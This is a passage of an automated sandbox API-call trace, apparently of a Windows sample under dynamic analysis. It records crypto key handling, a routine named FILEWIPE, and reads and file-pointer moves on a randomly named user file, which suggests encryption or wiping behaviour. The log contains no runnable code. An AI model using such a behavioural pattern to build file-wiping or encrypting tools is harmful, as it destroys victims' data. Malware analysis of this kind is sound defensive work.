hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.480] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.480] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.480] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.483] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.483] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.483] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.484] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.484] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.484] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.484] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.484] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.484] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.484] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.484] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.484] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0022.485] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.485] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.485] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.485] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0022.485] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.485] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.485] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.485] CloseHandle (hObject=0x188) returned 1 [0022.486] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.486] CloseHandle (hObject=0x1fc) returned 1 [0022.488] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.489] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.489] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.489] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\a7bot.m4a")) returned 0x20 [0022.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.489] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069890 [0022.489] FindClose (in: hFindFile=0xe8f4069890 | out: hFindFile=0xe8f4069890) returned 1 [0022.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.490] CharLowerBuffW (in: lpsz="byte[24486]", cchLength=0xb | out: lpsz="byte[24486]") returned 0xb [0022.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.490] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.490] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.491] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0022.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0022.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40648b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0022.491] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0022.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.491] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.492] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.493] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.493] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.493] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.493] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.494] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.494] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.494] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.495] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.495] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.495] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.495] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.495] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.495] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.495] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.495] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.495] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=828) returned 1 [0022.495] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.495] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.495] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.496] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x33c, lpOverlapped=0x0) returned 1 [0022.496] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.496] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x33c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.496] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=828) returned 1 [0022.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.497] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.497] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.497] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.497] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.497] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.497] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.499] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, 